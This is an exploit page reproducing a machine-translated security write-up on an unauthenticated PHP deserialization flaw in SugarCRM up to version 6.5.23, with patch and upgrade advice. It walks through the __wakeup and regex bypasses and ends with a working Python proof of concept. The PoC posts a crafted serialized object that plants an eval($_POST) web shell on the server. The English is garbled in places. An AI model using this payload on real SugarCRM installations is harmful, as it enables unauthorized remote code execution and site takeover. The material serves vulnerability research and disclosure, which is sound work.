Sploitus

Exploit for SugarCRM v6. 5. 23 PHP deserialize an object injection vulnerability

seebug · 2016-09-12

Exploit Code

MARKDOWN199 lines
## https://sploitus.com/exploit?id=SSV:92404
**Author: p0wd3r (know Chong Yu 404 security lab)** **Date: 2016-09-12**

## 0x00 vulnerability overview

### 1\. Vulnerability description

SugarCRM(http://www.sugarcrm.com/ is a set of open source Customer Relationship Management System. Recent researchers found in its<=6.5.23 version exists in the deserialization vulnerability, the program attacker to construct a malicious serialized data to the deserialization process, so that the attacker can be in the unauthorized State under the execution of arbitrary code.

### 2\. Vulnerability

Unauthorized state arbitrary code execution

### 3\. Impact version

SugarCRM <= 6.5.23 PHP5 < 5.6.25 PHP 7 is due < 7.0.10 

## 0x01 vulnerability reproduction

### 1\. Environment to build

Dockerfile:

``dockerfile FROM php:5.6-apache

# Install php extensions

RUN echo "deb http://mirrors.163.com/debian/ jessie main non-free contrib" > /etc/apt/sources. list \ && echo "deb http://mirrors.163.com/debian/ jessie-updates main non-free contrib" >> /etc/apt/sources. list \ && apt-get update \ && apt-get install-y libpng12-dev libjpeg-dev wget\ && docker-php-ext-configure gd --with-png-dir=/usr --with-jpeg-dir=/usr \ && docker-php-ext-install-j$(nproc) mysqli gd zip

# Download and Extract SugarCRM

RUN wget https://codeload.github.com/sugarcrm/sugarcrm_dev/tar.gz/6.5.23 -O src.tar.gz \ && tar-zxvf src.tar.gz \ && mv sugarcrm_dev-6.5.23/* /var/www/html \ && rm src.tar.gz ``

`bash docker build-t sugarcrm . docker run-p 80:80 sugarcrm`

### 2\. Basis of preparation

PHP before broke a vulnerability, CVE-2016-7124 https://bugs.php.net/bug.php?id=72663 simple to say is that when the serialized string **representation of the object attribute the value of the number **is greater than the **real number of attributes **will skip the`__wakeup `implementation. Demo is as follows:

``php <? php class Student{ private $full_name = "; private $score = 0; private $grades = array();
    
    
    public function __construct($full_name, $score, $grades)
    {
     $this->full_name = $full_name;
     $this->grades = $grades;
     $this->score = $score;
    }
    
    function __destruct()
    {
    var_dump($this);
    }
    
    function __wakeup()
    {
     foreach(get_object_vars($this) as $k => $v) {
     $this->$k = null;
    }
     echo "Waking up...\n";
    }
    

}

// $s = new Student('p0wd3r', 123, array('a' => 90, 'b' => 100)); // file_put_contents('1. data', serialize($s)); $a = unserialize(file_get_contents('1. data'));

?>

``

Demo in the`__wakeup `to clear the object properties, and then in the`__destruct `will be the object information dump out. Under normal circumstances, the sequence obtained by 1. data is like this:

`O:7:"Student":3:{s:18:"Studentfull_name";s:6:"p0wd3r";s:14:"Studentscore";i:123;s:15:"Studentgrades";a:2:{s:1:"a";i:90;s:1:"b";i:100;}}`

We execute the script, the results are as follows:

![](https://images.seebug.org/1473740931766)

You can see the object properties have already been cleared.

Below we will 1. data into the following like this the above 3 into a 5 or other greater than 3 digits: The

`O:7:"Student":5:{s:18:"Studentfull_name";s:6:"p0wd3r";s:14:"Studentscore";i:123;s:15:"Studentgrades";a:2:{s:1:"a";i:90;s:1:"b";i:100;}}`

Then execute the script and see:

![](https://images.seebug.org/1473740918358)

You can see the object is to dump out and the property is not clear, the proof of`__wakeup `and not be executed.

This vulnerability is very interesting, in the following analysis, we will use it.

### 3\. Vulnerability analysis

First of all, we see `service/core/REST/SugarRestSerialize.php `the `serve `function:

`php function serve(){ $GLOBALS['log']->info('Begin: SugarRestSerialize->serve'); $data = ! empty($_REQUEST['rest_data'])? $_REQUEST['rest_data']: "; if(empty($_REQUEST['method']) || ! method_exists($this->implementation, $_REQUEST['method'])){ ... }else{ $method = $_REQUEST['method']; $data = sugar_unserialize(from_html($data)); ... } }`

You can see we can control the`$_REQUEST['rest_data'] `the first through the `from_html `the data in the HTML entity encoding the partially decoded, and then passed `sugar_unserialize `function.

Follow `sugar_unserialize `function, in `include/utils.php `No. 5033-5048 lines:

``php /__ * Performs unserialization. Accepts all types except Objects _ * @param string $value the Serialized value of any type except Object * @return mixed False if the Object, the converted value for other cases _/ function sugar_unserialize($value) { preg_match('/[oc]:\d+:/i', $value, $matches);
    
    
    if (count($matches)) {
     return false;
    }
    
    return unserialize($value);
    

} ``

From the comments you can see the function design of the purpose is in order not to let the `Object `type to be deserialized, however regular not precise enough, we may be in the length of the object added before the A`+`number, i.e. `o:14 -> o:+14`, you can bypass this layer of detection, so that we can control the data into the `unserialize `function.

A controllable point to find, then we need to find what objects can be used, in `include/SugarCache/SugarCacheFile.php `in the first 90-108 row:

``php public function **destruct() { parent:: **destruct();
    
    
    if ( $this->_cacheChanged )
     sugar_file_put_contents(sugar_cached($this->_cacheFileName), serialize($this->_localStore));
    

}

/__ _ This is needed to prevent unserialize vulnerability _/ public function __wakeup() { // clean all properties foreach(get_object_vars($this) as $k => $v) { $this->$k = null; } throw new Exception("Not a serializable object"); } ``

We see we prefer the magic methods, and in the`__destruct `using object property as a parameter to call a `sugar_file_put_contents `it.

Follow `sugar_file_put_contents`, in `include/utils/sugar_file_utils.php `paragraphs 131 to 149 row:

``php function sugar_file_put_contents($filename, $data, $flags=null, $context=null){ //check to see if the file exists, if not then use touch to create it. if(! file_exists($filename)){ sugar_touch($filename); }
    
    
    if ( ! is_writable($filename) ) {
     $GLOBALS['log']->error("File $filename cannot be written to");
     return false;
    }
    
    if(empty($flags)) {
     return file_put_contents($filename, $data);
    } elseif(empty($context)) {
     return file_put_contents($filename, $data, $flags);
    } else{
     return file_put_contents($filename, $data, $flags, $context);
    }
    

} ``

Function and not to the file content or filename, etc. to be limiting, although the parameter`$data `is `serialize($this->_localStore)`, which is the serialized data, but we can set`$_this->_localStore `as an array, put the payload as an array of one value, you can complete and save the payload in.

So if we can pass a `SugarCacheFile `object and set its attribute values, we can write to the file.

However, unfortunately, the`__wakeup `will be in the`__destroy `before the call, and we can see in the`__wakeup `for all object attributes are cleared.

Then the How to cross this limit?

Surely we all already know, is the use we said above, PHP vulnerabilities to skip the`__wakeup `implementation.

Finally, the entire exploit process is as follows:

`php $_REQUEST['rest_data'] -> sugar_unserialize -> __destruct -> sugar_file_put_contents -> evil_file`

The PoC Demo as follows:

``python import requests as req

url = 'http://127.0.0.1:8788/service/v4/rest.php'

data = { 'method': 'login', 'input_type': 'Serialize', 'rest_data': 'O:+14:"SugarCacheFile":23:{S:17:"\00_\00_cacheFileName";s:15:"../custom/1.php";S:16:"\00_\00_cacheChanged";b:1;S:14:"\00*\00_localStore";a:1:{i:0;s:29:"<? php eval($_POST[\'HHH\']); ?>";}}', }

req. post(url, data=data) ``

脚本执行后shell位于custom/1.php to:

![](https://images.seebug.org/1473740935511)

### 4\. Patch analysis

In v6. 5. 24, the `sugar_unserialize `carried out the following improvements:

`php function sugar_unserialize($value) { preg_match('/[oc]:[^:]*\d+:/i', $value, $matches); if (count($matches)) { return false; } return unserialize($value); }`

Change the regular expression, so that the object type cannot be deserialized.

## 0x02 repair program

Upgrade SugarCRM to the v6. 5. 24 Upgrade php5 to 5. 6. 25 and above Upgrade PHP 7 is due to the 7. 0. 10 and above

## 0x03 reference

  * http://paper.seebug.org/39/
  * https://www.exploit-db.com/exploits/40344/
  * https://bugs.php.net/bug.php?id=72663
  * http://php.net/manual/zh/function.serialize.php